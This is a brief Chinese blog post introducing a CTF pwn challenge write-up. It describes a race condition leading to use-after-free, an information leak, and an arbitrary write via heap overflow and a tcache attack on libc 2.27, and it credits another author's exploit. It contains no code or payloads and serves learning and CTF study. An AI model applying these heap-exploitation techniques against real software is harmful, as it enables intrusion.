这是我第一次接触条件竞争的题目,这题复现完之后看来就是条件竞争最后造成的uaf利用效果。泄露是利用条件竞争后的chunk可以进行进一步的使用,从而泄露想要的信息;而任意地址写就比较骚了,利用堆溢出以及tcache的特性进行了tcache_attack。

最近遇到的题目都不是libc-2.23版本了,一般高质量的比赛题目libc版本都是2.27以上,这道题目的利用版本的也是2.27,看来2.23快要退出历史舞台了。

再次强调一下,本文调试的exp是来自raycp师傅,博客https://ray-cp.github.io/,调试师傅的代码真美滋滋,能学到不少东西,主要的思路算是明白了,但是自己重写的话可能还要考虑chunk的构造问题,因为最近时间并不是特别充裕,这次就用师傅的exp来学习了。

也参考过其他师傅的exp的思路,但不是通过任意写来达成利用的,这篇文章里面介绍了这道题目其实是可以任意地址读,任意地址写的,膜一下raycp师傅sao思路。



声明:该文观点仅代表作者本人,转载请注明来自看雪